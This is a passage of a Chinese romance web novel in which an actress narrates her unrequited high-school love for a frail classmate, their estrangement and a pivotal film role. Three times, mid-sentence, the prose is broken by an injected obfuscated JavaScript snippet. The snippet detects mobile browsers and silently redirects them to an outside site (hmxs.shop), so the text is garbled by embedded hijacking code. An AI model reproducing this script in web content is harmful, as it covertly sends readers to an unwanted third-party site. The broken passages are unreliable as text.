“怎么可能？”我笑了笑，“那种人，那么无聊，也就是找点乐子。逗他确实很好玩啊。” 说谎， 骗人。 我明明不是那么想的。 我明明不是那么想的，却那么说了。很奇怪的是，人们总认为撒谎是无需付出任何代价的，是的，脱口而出的时候，不假思索，就像站在镜子面前，粉饰自己的瑕疵，无需任何的理由。但久而久之，你的眼睛就把自己骗过去了，谎话说的多了，真心这种珍贵的东西，就少了。 我不是谎话连篇，但我总想着，对待一个真心喜欢的人，到那时再试着不去撒任何一个谎。太晚了，如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808387|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果这就是撒谎的代价，黎玉钟对我没有感觉，好吧，我也认栽，我应该诚实点。 当他望着我，蹙起那对弱柳扶风的眉，对我说，不要戏弄他了，我就该停下，而不是罔顾他的意愿，做一些更过火的事。他怎么会喜欢一个总是欺负他、打压他的人，他又不是受虐狂。 我一直同人说笑，喝一点酒，麻痹自己。在这个场景下，每每会想起过去和黎玉钟的点滴，特别是在他人的提示下，我都想摔杯走人，我不舒服，曾经的我也有让现在的我厌恶的一面。 真的。 但我脸上还挂着笑意，虚伪的、承蒙羡慕或祝贺的笑意。我突然想起黎玉钟当初对我说，他说，他不喜欢，他起码有对一个人这样说的勇气。我却没有，我是比黎玉钟还胆小的胆小鬼。 啊。 好生气啊。 说真的。 我的心在妒火中煎熬，我的眼神从未落在黎玉钟身上，我知道他注意到我们这边的动静，他的眼神也肯定如湖面般平静地落在我身上。这让我感觉自己更哗众取宠，因为我的正眼虽然从不给他，但我的余光把他观察得满满当当。直到他起身去卫生间，我松了口气，如释重负。 有人突然走过来，是个男生，高中的时候关系还不错。我印象里他和黎玉钟也有一些交集，啊，他是黎玉钟的那个羽毛球搭子。他过来敬酒，笑嘻嘻地说：“没想到黎玉钟暗恋成真啊。” 我心想，他也被我营造的谎言蒙蔽了，正打算打诨两句，他却凑近，低声说：“你知道的，黎玉钟那家伙有多闷骚。当年毕业典礼后的聚会上，他偷听到你说不喜欢他，心都要碎了。” 我脸上的笑容僵住。 “什么？”我听见自己的声音。 它干枯、拔尖，失了声，像从不属于我的喉咙里发出来的声音。那男生也愣了愣，随即笑着拍了拍自己的脑袋：“行了，怪我多说，都这么多年过去，讲那些影响你们感情的事做什么？” 不。 我问：“他……听到了？” “嗯呐。”男生一副很好笑的表情，“你是不知道，他真的，话说他藏得可真够深呐，在那之前我完全没想到他喜欢你，你知道的，他那种憋不出几个字人，能叫别人看出心事就怪了。但是那天，他在门外听到你说，说什么你不喜欢他，耍他而已，他真的，哇，转身就走了！” 真的吗？我问。 指尖嵌进肉里。 “那还能有假啊？你不知道，我当时追上去，看到什么了？你猜？你猜不到的，他竟然哭了！就他那么个人呀，真的，他摔到地上都不会喊疼的人，就坐在门口的台阶上哭了，我喊他，他就当听不见一样，边走边哭。我看他都要哭晕过去了，哪里放心，那一整晚我就陪着他。” “他——” “嗯，他哭了一整晚。” 咚咚。 咚咚。 咚。 我什么都听不见了，心脏已经负荷超载，停了摆。我低下头，看看它是不是从我的胸膛里跳出来了。我的耳边什么也听不到，或者说，一切的噪音都太嘈杂，而我期待的声音太清晰。 “吱呀。” 推门的是黎玉钟。 他站在门口，门外的光湮过他的肩膀，他半边的脸庞。雪白的亮光在他的眼角、眉梢之间，穿梭、逡巡，他是光的游乐场。他推门进来的时候，我的世界里终于安静了。全世界，对我而言不过是他对我说话的音量。他注意到我的神色很差劲，走过来，抬手贴了贴我的额头。 “哪里不舒服吗？”他问。 沉默良久。 那位男生察觉我们之间的氛围有点怪，对我比了个“嘘”的手势，叫我别把他供出去。我这才回过神，微笑着，拼出我前半生最好的演技，啊，终于有了用武之地。我说，没有不舒服。 “嗯。再喝一会儿，就回去？” “好。”我捏紧了酒杯。 后半场，我简直食不知味，或者说，喝什么都感觉像没喝。终于，到散场的时候，我已经喝得走不动道了。我有意麻痹自己，我受到了太大的冲击，但是，我仍然缺乏面对事实的勇气。 司机载我们回了婚房。 下车时，是黎玉钟扶着我的。他罕见地生了气，看得出来，眉头深深地压住他关切的眼眸。他搀扶我的力道很稳当，我整个靠在他身上，他不会因此栽倒。他什么时候变得这么强壮了？我心想，他以前那个弱不禁风的样子呢？那个连我都跑不过，没事总是连咳带喘的黎玉钟， 去哪里了？ 他扶着我到新家。把我放在沙发上，他要去为我倒一杯热水，我却摇头，再摇头。我盯着他，视线几度模糊又清晰，像心脏收缩的频率。他扶着我的肩膀，怎么了，他又不厌其烦地问。 我说：“黎玉钟，我问你一件事。” “你说。” “你是不是喜欢我？” 他摁住我肩膀的手一瞬间紧了紧，我立刻反抓住他的手，目光锐利，言辞犀利：“你喜欢我，高中的时候，对不对？这些年你就是喜欢我，一直没有忘掉我，我说的对不对？你找我扮演你的妻子，因为你喜欢我，你揍了池建生，也是因为喜欢我，对不对？我说的对还是不对？！” 他陷入了至死的沉默。 “你说啊！！”我连牙齿都在发颤。 他没有从我的桎梏中挣脱，望着我，企图分辨，他眼神中的不信任、怀疑，还有……脆弱，比这夜色要浓，比晚风还要刺骨。我拜托他了，说吧，说句话啊，是不是，给我一个痛快！ 他干脆弄死我！ “李君同，你喝醉了。”他说。 我抬起脸颊，努力让自己的情绪别失控，眼泪别太早掉下来。好，我说，我点头，站起身。他立刻拦住我，问我要去哪里，我说我要回家。他蹙眉，说让司机来送我，我狠狠推开他！ “黎玉钟！”我含着眼泪，“你说是我误会了这些，你找我演你的老婆，什么假结婚，什么逢场作戏，全部都是我一个人误会！说你对我完全没意思，这些年你一点也没有想到过我？要么你说，要么我现在就从这里走出去！如果你对我没意思，别拦着我，但如果你爱我……” 如果你爱我。 把手放在冰冷的门把手上。 我咬牙，轻声说。 “那就抱住我，挽留我。” 13. Chapter 13 高三那年还发生了很多事， 在我偷偷亲吻了黎玉钟之后。 甚至再许多年后，还可以称得上美好的回忆的，确实有那么一件。即便我把所有事都淡忘了，但是那一件，是我想忘记都没办法的——的确有比亲吻更加亲密的事，我和黎玉钟曾共枕过。 在我借宿的那间客房里。 那是在高考的前夕，春夏之交际，我尚未从自己喜欢黎玉钟的震撼中回过神来，又被繁忙的学业淹没。班上，走廊上，甚至黎家，气氛都变得紧张压抑，把三轮复习挂在口中，再无其他。也就是在这样的高压下，仿佛上天都阴郁，所以那几天的半夜总是电闪雷鸣、阴雨连绵。 我是何时发现黎玉钟怕打雷的呢？ 大抵是连着两天被雷声吵醒，晨起时又看到黎玉钟脸色苍白。我只当他学业压力太大，休息不好。大概是第三天，还是第四天，我已经忘记了，在凌晨一两点的时候，他给我发消息。 “你睡了吗？” “没有，”我问，“什么事？” “我的化学错题册好像落在一楼的客厅了，你帮我拿到我的房间吗？” “你自己怎么不拿？” 对方正在输入中。 我又说：“再说了，你这大半夜不睡的，做什么题？难怪你早上脸色那么差，原来半夜偷学。” “不是！”他说。 我乘胜追击：“还有，明明就隔着一道墙，打字干嘛，你不会说话吗？有什么事当面说。” 片刻后， 他敲响了我的房门。 我爬下床开门，外面是黑的，他就那么孤零零地站在我的房门口。我懒得开灯了，黑暗中和他面面相觑。他穿着单薄的水洗蓝睡衣，锁骨露在外面，雪白的脖颈好像一折就要断掉了。 我眯眼，故作凶狠：“怎么了呀？” 他低声说：“我睡不着……” “你为什么睡不着？嗯？” “我——” 他话音未落，电闪雷鸣。 惨白的光从窗子外刺进来，像利剑扫过我和黎玉钟的面孔。他非常短促、软绵绵地“啊”了一声，然后抬手拽住我。我感受到那微弱的力量，诧异地低下头去，他的手落在我的手臂上。 “嗯？”我问，“怎么啦？” 他依旧攥住我的手臂，不松开，语气却难得带些埋怨，“你打雷怎么……怎么不关窗子啊……” 我不假思索：“我又不怕。” 很快我就反应过来，脸上浮现出笑容：”啊哈，你怕打雷，对不对？难怪你这几天没睡好！” “我……”他自知无可辩驳，把脸低下去，很小声地说了句“是”，又问我，“你不怕吗？” “不啊，”我摇头，“感觉打雷还挺有意思的，就是那种突然从睡梦中惊醒的感觉，很刺激。” “……哪里有意思了。” 他这样说，轻轻把嘴撅起，对我的话表现出不认同。我想起之前在窗边吻他，如果他当时也把嘴撅起来，会不会更柔软、更好亲一些。想到这里，我就对他没有不耐烦了，一点也没有。他虽然既胆小又孱弱，但毕竟我喜欢，我没理由不保护他，我说，害怕的话，我陪着你吧。 “可以吗？”他抬起眼睫问。他的眼睫毛可真长呀，我第无数次发出感慨了，只是，第一次生出用我的手指去量一量的想法。黎玉钟，别像一只小洋娃娃一样，擅自出现在我的床边。 如果那样，我就会说： “到我的床上来。” 他愣住。 不给他太多反应的时间，我理直气壮地道：“不是害怕吗？两个人待在一块，总不会怕了吧。” 他抿了抿唇，忐忑地看向我，浅褐色的眼眸中一闪而逝的光晕，有些出乎意料的复杂。最后，他小心翼翼地挪到床边上，问我这样会不会不太好。知道不太好，你还大半夜敲我的房门，还一副不嫌害臊的样子拉住我的手，现在又期期艾艾地挪到我床边，我说，再不好也晚了！ “上来，不然就回自己房去。” “我上来了。”他说，语气有些委屈。 怎么回事，我心想，真的是，别一副不情不愿的样子了，我是在做好事。我的私心他当然不知道，他慢吞吞地躺在我的边上，又慢吞吞地拉上被子，慢吞吞地盖在脸上，转过头看我： “你能把窗帘拉上吗？” 我于是拉上窗帘。 视线陷入黯淡。 我闭上眼，轻轻翕动鼻翼，感受到那股熟悉的洗发水香气，如今它于我而言又有了别的意义。我喜欢它让我怦然心动的感觉。我对于自己喜欢的事物从来学不会压抑，想买的牌子，即便是仿品，即便要攒几周几个月，也要想办法拿到手；想吃的黄油曲奇，会一天到晚吃不停，又为了保持体重而连续两三天只吃流食硬瘦下来。我那样较劲，黎玉钟，我怎么会放过你？ 是你让我不安， 你让我惶恐， 我就把这一切悉数奉还。 我感受到他不能平复的呼吸，想翻身却被总被拘束。当雷声一道道震破窗楣，他总是呼吸一窒，又悄悄问我，听到没，刚才雷响得好大声。听到了，我不耐地道，难道打雷就不睡觉了？ 他又嘟囔：“我睡不着……” “怎么才能睡着？”我问。 他说，不知道。 不知道是吗？我突然钻进有他体温的被子里，克制住我狂奏的心跳，佯装大度地抱住了他。我把黎玉钟的脸摁在我的肩膀上，心里忍着轻快的笑，面上若无其事，问，这样还害怕吗？ “啊……”他在黑暗中，那双大大的、水灵灵的琥珀棕眸子，就像丛林中的小鹿。难得他也有忍着自尊心不好开口的时候，但是，我唯一能确定的是，黎玉钟不会推开我的，他不敢。 他不会的。 他只是小声说： “不太好吧……” “有什么不好？”我以非常刻薄的、恶劣至极的语气，“你事怎么这么多？嗯？你不知道自己的身体什么情况是不是？要是你再被吓出个三长两短，我作为你最后一个发消息求助的人，我麻烦可大了！再说你脑子里装的都是些什么，我连你发病的时候都抱过，我说什么了吗？” 他就不说话了。 我仍然记得，是的，隔了这么久，仍然记得。雷雨交加的夜晚，水珠不时拍打在窗户上，像命运来敲响门，而我和黎玉钟躲在柔软的棉被里，他的脸颊侧靠在我的肩膀上，暖烘烘的，而他的肩膀和胸膛都是硬邦邦的，瘦得好像在抱一具骨架，我却一点也不嫌弃。其实在喜欢黎玉钟之前，我一直喜欢的是运动型的阳光男生，肩宽腰窄、肌肉线条明晰的身体，但是，在喜欢的人面前，一切的原则都可以忽视，他有多瘦弱，就有多想让人保护，多萌发美好。 当一道夜半的雷声袭来。 当时我已经睡得迷迷糊糊了，但是感觉自己的身体被越抱越紧，那力道，从一开始的试探，到肯定，最后，简直要把我掐灭了。我喘息着睁开眼，四周仍然是一片黑暗，气温降下去，风把窗外黑绿色的树影吹得摇曳，哗哗作响，低下头，环在我身前的是他青筋毕露的双臂。 他面对着我，我背对着他，他单薄的胸膛贴在我的后背上，那无疑是个安全的姿势，最起码不会触碰到什么不该碰的隐私。我心爱之人的脸埋在我的肩窝，就像小动物埋进有妈妈气息的温暖巢穴，我不知道该怎么说，脑袋晕乎乎的，幸福极了，他把我抱在怀里，依偎着我。 “黎玉钟。”我说，“松开一点。” 他含糊地嗯了一声，却没有动。 我猜测他很有可能快睡着了，他如果这样乖，我还真愿意一直喜欢他下去。其实，我对自己的喜欢也有点没底，我深知自己卑劣的本性，我或许是临时起意，今天是他，明天就可能是别人。但我能够预料到，在很长一段时间里，我无法戒断黎玉钟，我时常会想到这个晚上。 想到这个晚上，他并不知道我喜欢他，我们悄悄的，什么暧昧的气氛也没有，就像两只动物一样相互依偎着取暖。黎玉钟说过，两个人一起，就不害怕了。其实我也是，我对未来总是充满了信心，因为和他呆在一块。有时，有这么一个人，想起他的眼睛，我的心就平静下来。 后半夜，雷声渐小，雨点却大了起来。暴雨落下来，绵密的噪音，敲打在房檐、窗边，任何我看不见的位置。每当我想知道黎玉钟是否在我身后，他的臂弯紧一紧，让我知道他的存在。我嘈杂的心跳，总在半梦半醒之间狂乱一阵，就像雨点，仲夏夜，不要醒来，梦不要醒过来。 让命运把我们留在这里。 - 后来我再也不想面对这个房间。 这个有我和黎玉钟的共同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808388|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回忆的房间，甚至，黎家的老宅，我都不愿意再踏进半步。想到和他在这个夏天里发生的事，就感到指尖一阵阵的湿润，好像雨落在上面。手指划在玻璃上，又是冰冷的触感。当第一缕晨光升起来的时候，雨停下了，我抬手够到雾气磅礴的窗玻璃。 在上面书写： I love you。 我写得很艰难，必须抻直手臂才能做到这件事。指尖落在凉飕的玻璃表面，像冰针轧过去。水雾被划开，拨云见日，透过那些歪歪扭扭的字迹，看到窗外盎然的绿意，生命无声生长。 我静静地看着这些吐露我心的字迹，淌下一颗颗晶莹的水珠，到最后，实在成不了型。我才把黎玉钟喊醒，告诉他该去上学了。他揉了揉眼睛，眼下乌青消失大半，看来他睡了个好觉。 这就是高考前我记忆最深刻的事。还有一件事，就是毕业典礼上，我和话剧社的其他人准备了节目，我当然是女主角，和我搭戏的男生叫什么我现在已经忘了，只记得也是表演生，在年级里很受欢迎，配我的话，就勉强够格，不是能被随便比下去的程度。我们在台上演戏。 黎玉钟在台下坐着。 他一个人，坐在最角落的位置，孤零零的，手轻轻地搭在膝盖上。他一眨不眨地看着我，那眼神让我有点不自在，他没问题，有问题的人是我，是我搭在男主角肩膀上的手。黎玉钟就那么看着，作为喜欢他的人来说，我当然有点尴尬，尤其高考前某个雨夜，我们相拥而眠。 我替自己开脱： 那是朋友的范畴。 虽然我和别的男生在台上拥抱，跳交际舞，但黎玉钟又没理由指责我，不是吗？因为他一不喜欢我，二也不知道我喜欢他。我没解释那些，虽然年级里也有人传我和那个男生的绯闻，可我这种话题人物，任何异性在我的周围都要被大家评价一句配不配，大多数是配不上的，我偶尔在想，如果真的和黎玉钟在一起，保不准他也要被褒贬，但那不是我的问题。我很好。 我没做错什么。 我没做错什么，可为什么，当他在舞台灯扫不到的地方，静默地注视着我，我心中却涌动着说不清的感觉？想到他就像一只小猫一样坐在那儿，乖乖地把爪子藏进尾巴里，等待着我。 于是我一演完，来不及换舞台服装，就跑过去问他要不要参加之后的班级聚会。好，他当然说，没有任何意外，他永远不会拒绝我，有一瞬间我甚至在想，即便他不喜欢我的情况下，我向他表白，他应该也没那么容易拒绝——黎玉钟看起来就像那种死缠烂打就能追上的男生。 我还不用死缠烂打， 我只需要问问他， 黎玉钟，你愿意和我好吗？ 他保不准要先说，啊，这样不好吧。我就说有什么不好，我们都这么熟了，干嘛不再熟一点？你跟我好，我们就还像从前那样，什么都没有改变。我不愿意上了大学以后就跟你断了联系，难道你就愿意吗？这时候他就迟疑了，毕竟他就我这一个朋友，即便不想和我发展成爱情，也要掂量掂量我们之间的友谊。他如果说“不”，我也能接受，谁规定人只能表白一次呢？ 他可能是暂时不识货，不知道我有多好，等他以后知道了，就会顿悟，啊，李君同，你这个绝世好女人，我当初怎么就错过你了？我就宽容大度地说没关系，你跪下磕一个我就原谅你。 我的确想向黎玉钟告白， 但我没说出口。 换做现在我也不后悔，我不后悔自己没说出口，早知道他连和我的友谊都不珍重，我那些打了十几次的腹稿，我那无用的期待，那份有他的未来的展望。真的，我不后悔，因为这就是谎言的妙处，谎言让我抛售了真心，那种脆弱的、易被伤害的东西，换成更为坚硬的尊严。 可以说，完全可以说，谎言是我的盔甲，我撒谎就像乌龟缩进壳里，就像响尾蛇甩动它那条沙沙的尾巴；我撒谎完全出自本能，我要生存下去，我不能因为爱情就把自己的人性泯灭。 当时的我可以肯定，即便过去五年，十年，二十年三十年，即便黎玉钟婚姻美满，家庭幸福，而我也和一个不比当年的黎玉钟美好而逼真的男人走下去，我也不后悔没对他说出那份情感。 因为，因为， 我真正爱的。 不是年少那个青涩的他， 而是为爱情而悸动的我自己啊。 14. Chapter 14 毕业典礼过后的同学聚会，黎玉钟没有来。我头一次有什么事没顺遂自己心意的实感，过去在摆脱自己的原生家庭时也有此感，但出现在我不在乎的人身上，我管不着。可他是黎玉钟。 他为什么没来？我还有一些话想对他说。我回到家时也没看到他，姥姥说他去同学家过夜了，哪个同学？哦，一个普通男生。为什么？这样重要的日子，他身边应该只有我一个才对啊。 次日下午，黎玉钟回来，我当时正好要搬到我妈那里住几天，也就是隔壁市。拎着行李箱，我和他在客厅里打了个照面，他看起来有点憔悴，我心想，他不会也和别的人夜谈一整晚吧？ 什么意思？ 我隐忍着怒气，想问他昨晚为什么没去，但我觉得他肯定会开口解释。但直到我要去车站，他都没有要解释这件事的打算，我不得不走到他面前，抬了抬下巴，问他没什么想说的吗。 他说：“……什么？” 我蹙眉：“昨晚怎么不来同学聚会？” 我以为他会说被什么事耽误了。黎玉钟不是那种不守信用的人，谁都可能是，但他不是。我愈发凶狠地盯着他，我的眼神连自己都感到陌生，我猜他肯定会慌张，结结巴巴地向我解释。 但他没有。 他平静地说：“不想去。” 我不假思索地责备：“不想去你怎么不说？你明明答应得好好的。那么多人都在，就你不在。” 我想说的其实是，任何人都没办法引起我的注意，都怪你，都怪我要和你说的那些事，让我一整晚都惴惴不安。但我肯定不能说，我就那样怒气冲冲地盯着他，指望他能给我道个歉。 他就道个歉，什么都能解决了。黎玉钟，你都服软了那么多次，你就再服从我一次，不行么？事实上，我那是也足够敏感，草木皆兵，换做从前，我毫不质疑黎玉钟和我之间的情感羁绊，但我是要向黎玉钟表白的，我鼓起了那么多勇气，一晚上，消磨殆尽，现在又要重振旗鼓。 我也烦。 想知道他到底喜不喜欢我， 我如此自恋，也会忐忑。 但他却说起了另一件事，他说这个暑假要去他家人身边过，要在曼城待一阵子。我不想知道他要在哪里，待多久，我就想知道，我的心事该如何说出口，我需要他近在咫尺的生日契机。 好吧，我说，那你生日的时候还在省内吗。他说，在。好，我就点了点头，心事重重地离开。我仍然在想黎玉钟有哪里不对劲，我顶多觉得他是因为我昨天和另一个男生同台登场，有点生气罢了，毕竟我虽然朋友众多，但和异性之间的分寸也拿捏得严。他如果问，我当然解释。 可我没想到，他生日时也没有联络我，我等了一整天。我陪他一起过生日，这不是理所当然的事情吗？难道要我再提？这时候我也闻出一点不对劲了，我在我妈家里的这些天，黎玉钟一次也没有联络我，甚至高考成绩出来的那天，他也没有联络我，还是我去找他打听，他才说屏蔽了。我当然恭喜他，问他打算填报哪里的大学，他问我，我不假思索，当然是影大啦。 他说：“嗯，知道了。” 因为他没提生日的事，所以我以为他当时改行程出了国，后来我听同学说他回来领毕业证了。日期正好是生日的前一天。我于是发消息问他，生日过得怎么样，我相当客套，旁敲侧击他。 “忘记过了。”他的答复。 是忘记过了，还是忘记和我过了？我说不出话来，如此，我才发觉自己并不了解他，我印象里的黎玉钟是不会这样说话的，至少和我。这么多天没见面了，他都不想我吗？操他爹的！ 什么意思啊他？ 我那时完全没意识到，我天真的自我，以我为核心，并且肤浅地认为即便如此，我和黎玉钟也没有到完全不联系的地步。当我意识到时，是大二学期，我在完全意想不到的地方看到他。 他出现在我播音同学的素材里。 是个辩论比赛，高校之间，他作为他们学校辩论队的四辩，无论是总结发言，还是提炼观点，他都做得非常棒。当那张青涩而秀气的脸出现在屏幕里，我不可置信，宛如那是另外一个人。 那是黎玉钟吗？ 我生出被欺骗的感觉。 我立刻夺过同学的手机，仔细地去看台前的立牌，我希望是一个长得像黎玉钟的人，但不能彻底是他——那算什么？他才从我身边离开多久，就完全变了个人？瞧瞧他，说话那么流利，表情那么镇静，他以前可是和人争辩两句就脸红到脖子根的人，他，黎玉钟，才过去多久？ 他怎么可以， 怎么能够？ 我紧紧握着手机边缘，指尖都在颤抖，惊慌出现在我的脸上，愤怒、羞赧，还有，还有一股被背叛的苦涩。我不能相信他离开我这个朋友，还变得这么优秀，谁允许他改变了这一切的？ 把我的黎玉钟还给我！ 把那个不苟言笑，笑起来又腼腆羞涩的黎玉钟还给我！那个看起来无论如何都处于弱势的，由于害怕被孤立而紧紧缠着我的黎玉钟还给我！把我的人还给我！他怎么可以擅自改变呢？ 太恶心了。 我厌恶到极点，彻底不再去想他。还有，还有一点，我不能允许他变得比我更优秀，更出人头地，承认我知道他具备成功的潜质，他从来不为任何一件过去的事而伤心，他太善良了，又努力勤奋，世界会对兢兢业业、脚踏实地的人给予奖励，他确实早该享受属于他的光环。 但我喜欢他啊，我怎么能忍受他因为变得更好，身边出现了别人？早知道会如此，我就不该告诉他什么要勇敢，要克服恐惧与困难，我就让他没什么长进，没有朋友，孤单地等待着我，等待我有朝一日成功了，回去找他。在我看来，他就该痴心地在原地等我，就像一条好狗！ 他不那么做， 就让我很难受了。 让我难受的人或者事，我要么摧毁，要么彻底远离。对于黎玉钟，我还真没办法做到前者，摧毁什么？就因为他不喜欢我？黎玉钟只是和我渐渐疏远了，又不是在我胸口给了我一刀，好吧，我心想，或许他早就知道我的本性，他高中三年都是屈服于我的淫威之下，他早就对我的霸道、狂妄、自以为是，还有自作聪明的谎言，而看不下去。他对我无感，或者讨厌，他也不会说出口，他忍让我，他很善良，我却误认为可以前进的信号，不是没有这种可能。 人都是会变的。 况且我也并不了解他，不是吗？ 《杀死一只知更鸟》中说道，你永远不可能真正了解一个人，除非你穿上他的鞋子走来走去，站在他的角度思考问题。我并不了解黎玉钟，他那让人容易产生误解的病症，他说过不喜欢别人嘲笑，他那样温和地说，就像没有效力。我永远无法得知那时的他怀揣着什么样的心情。 我当然，没必要了解，毕竟那时的我不了解他，不喜欢他。但如果我喜欢他，就忍不住去发掘和他有关的一切，我想起那个藏在他桌子里的牛皮纸袋，啊，在他拿出之前，我从不知道。 我为他的未知、我部分的无知而困惑，只可惜我当时想的是什么呢，我没去深究，耿耿于怀不是我的作风，并且我的自尊支撑着我，我有理由相信黎玉钟不过是我生命中的一个过客，说是遗憾也好，说是踏板也罢，最起码他帮助了我，我最开始想要的，难道不就是这个吗？ 池建生很适合我，并且，回到我最初的轨道上，我压根就对那种弱小可怜的边缘人物没兴趣，我几乎忘了我是一个慕强的人，打从一开始我就轻视了黎玉钟，没有比他摆到平等的位置。也许这就代表了我和他很难走到一起，不是一路人。池建生就很适合我，我们都想出人头地，都很年轻，又睚眦必报，把握住每一次机会。我还记得和奖项失之交臂的那个夜晚，池建生在酒店套房的落地窗前安慰我，我咬着嘴唇说，我真的很不甘心。他抬起头，说他明白的。 我需要懂我的人。 我需要有人来体谅我，弄懂我，搞清楚我，摊平了我。很显然，黎玉钟那种连察言观色都不懂的傻子是没办法做到的，在这一点上，池建生就是我的正解，他也能陪我做最疯狂的、最没有明天的事。这个行业什么人都有，名利场把人都困在斗兽场里，我和池建生互相舔舐了伤口，但话又说回来，我根本没想过和池建生的以后，或许是因为我们都太冷血、太现实了，这样的人是没办法谈论以后的。有很多次，我和池建生只是发泄欲望，做完就闭口不谈其他。 于是我对爱情的憧憬，从经历过最开始的青涩、懵懂，到后来几近报复似的狂热、契合，在我二十五岁的时候，它又变成了更复杂的模样。我是如何再次想起黎玉钟的呢？我依旧没有释怀，只不过多了些别的看法。在《空枪》的试镜中，我要争取一个内心胆怯、阴暗，并且有特殊病征的犯罪者，很凑巧的，这个角色有轻微的过呼吸症，这让我很容易联想到那个人。 因为是为数不多开放了试镜的角色，提前打听好没有内定，我就花了相当一部分心力在琢磨人物上。在这之前，我的戏路一直是比较正面的，这种算另类角色了，我的脸比较难以驾驭，太艳丽太张扬了，很容易出戏。也总有前辈说我不适合上大荧幕，在电视剧里更容易发展些。 尽管如此，那可以说是我，李心同，在考虑转型之前孤注一掷的角色了，还不知能否争取得上，并且听闻操刀的罗导虽然温和，但品控苛刻，几乎难以容忍被资本强行塞进组的花瓶。 我拿到人物小纲的时候，和大多数试镜的演员一样，首先考虑的是该如何表现。试戏的范围相对自由，不受限制，很多人会选和女主对峙的那场戏，因为台词很多，情绪爆发的点好抓，是容易展现角色高光的一场。但不知为何，频繁浮现在我脑海中的，是角色临终前的那一场。 任青一角在《空枪》中的戏份并不少，是除了为妹妹报仇的主角张素以外，场次最多的配角。张素自始至终都带着一把没有子弹的枪，去寻找妹妹的死因，并且逐一报复那些加害过妹妹的角色。任青属于在幕后推波助澜、但未真正犯下罪的加害者，因为她本身孱弱，不善言辞，所以在警方的调查下蒙混过去，没想到主角还是顺着蛛丝马迹找到她头上，她是最后一个。 我选的是最后一场戏。 在被张素拿枪抵住，走进警局的一瞬间，我的眼泪就大颗大颗地流了出来。我并非知道自己死到临头了，才如此惺惺作态，“我……我杀害了张黛，”我茫然而急促地呼吸，“对不起警察，我杀了张黛，我来自首，我……”指尖颤抖得越来越厉害，同时，我的脸憋得红肿。 在这时候，我意识到，似乎没那么容易。要扮演一个呼吸又困难，随时随地经营着风险的人，并非那么容易。在这个世界上没有一个人不渴望活下去。我撑着柜台，盯着四周种种异样的目光，艰难地掏出棉服口袋的塑料袋，胡乱地掩住口鼻，呼吸，呼吸，我在心底告诉自己。 呼。 吸。 渐渐地，涣散的瞳孔重新聚了焦，就像有人在旁边帮助我一样，一双莫须有的手捂住我的嘴，温柔的掌心贴着我轻咳的唇，接住我不停的喘息、痛苦、眼泪，就像飞机迫降进了停机坪。 好痛苦。 我不想死。 真的。 别这样对待我。 我的眼泪越来越多，我的痛苦更严重，当我的呼吸平缓下来，一股无可避免的羞耻感却让我只想把自己埋起来。这就是所有人都不跟我交谈的原因，我被孤立在世界的外围，可为什么，我什么也没有做错啊。我捂着湿漉漉的脸颊，说：“我也没办法……我不知道……会那样……” “她们说，就是编 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808389|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排一下她，没事的，我也不想不合群，她们说这样做，她们就去捉弄她，不来捉弄我了，这样我在学校就不会没有朋友了……”任青也没想那么多，她如果是单纯的恶，预谋已久，当然最值得去痛恨了。可有时候人的恶竟是无害的，只是随口而出的几句话，甚至几声嘲弄的轻笑，就能在尊严上杀死一个人。她哭着求张素放过她，她不想死，真的。 如果不是张黛，就是任青了，也就是说，任青现在还活着，是张素的妹妹换回来的，即便她是加害者。张素的手在颤抖，指尖慢慢地拧紧扳机，任青的眼中闪烁着浑浊而蒙昧的泪水。 砰。 枪声响了。 我缓缓地倒下去。 这是在笔触之外的故事，因为剧本里的结局采用了留白处理，枪里理应没有子弹，但是我却瞪大眼睛倒在地上，手缓缓地松开沾满水的塑料袋，呼吸，呼吸，呼——吸——。归于平静。 明明是空枪，但是任青被杀死了。所以被杀死的任青不单单是角色，而是张素心中的映照，是代表着善良的那一块拼图。伴随着它的泯灭，张素也做出了在守序与邪恶之间的最终选择。 凭借着我对配角、甚至主角独特的理解，我成功地拿下那个角色。我所努力的方向准确，那次也是我获得金奖女配提名，离获奖最近的一次——即便没摘奖，对我来说也是可以称之为人生角色的演绎了。任青一角也确实在我的职业生涯里替我翻了红，反了黑，再次救我一命。 只是。 在饰演了那个角色之后，我的心境也发生了一些改变。这点在我频繁地梦到黎玉钟上体现得淋漓尽致。是的，我总是梦到他，却不是那些冒着粉色泡泡的情节——我梦到黎玉钟死了。 他平躺在那里，哪里？喧嚣嘈杂的教室里，他咳得喘不过气来，最后，甚至咳不出来，就像被强行扼住了咽喉，呼吸渐渐微弱下去，彻底没了生息。他死在人潮涌动却无人知晓的角落。 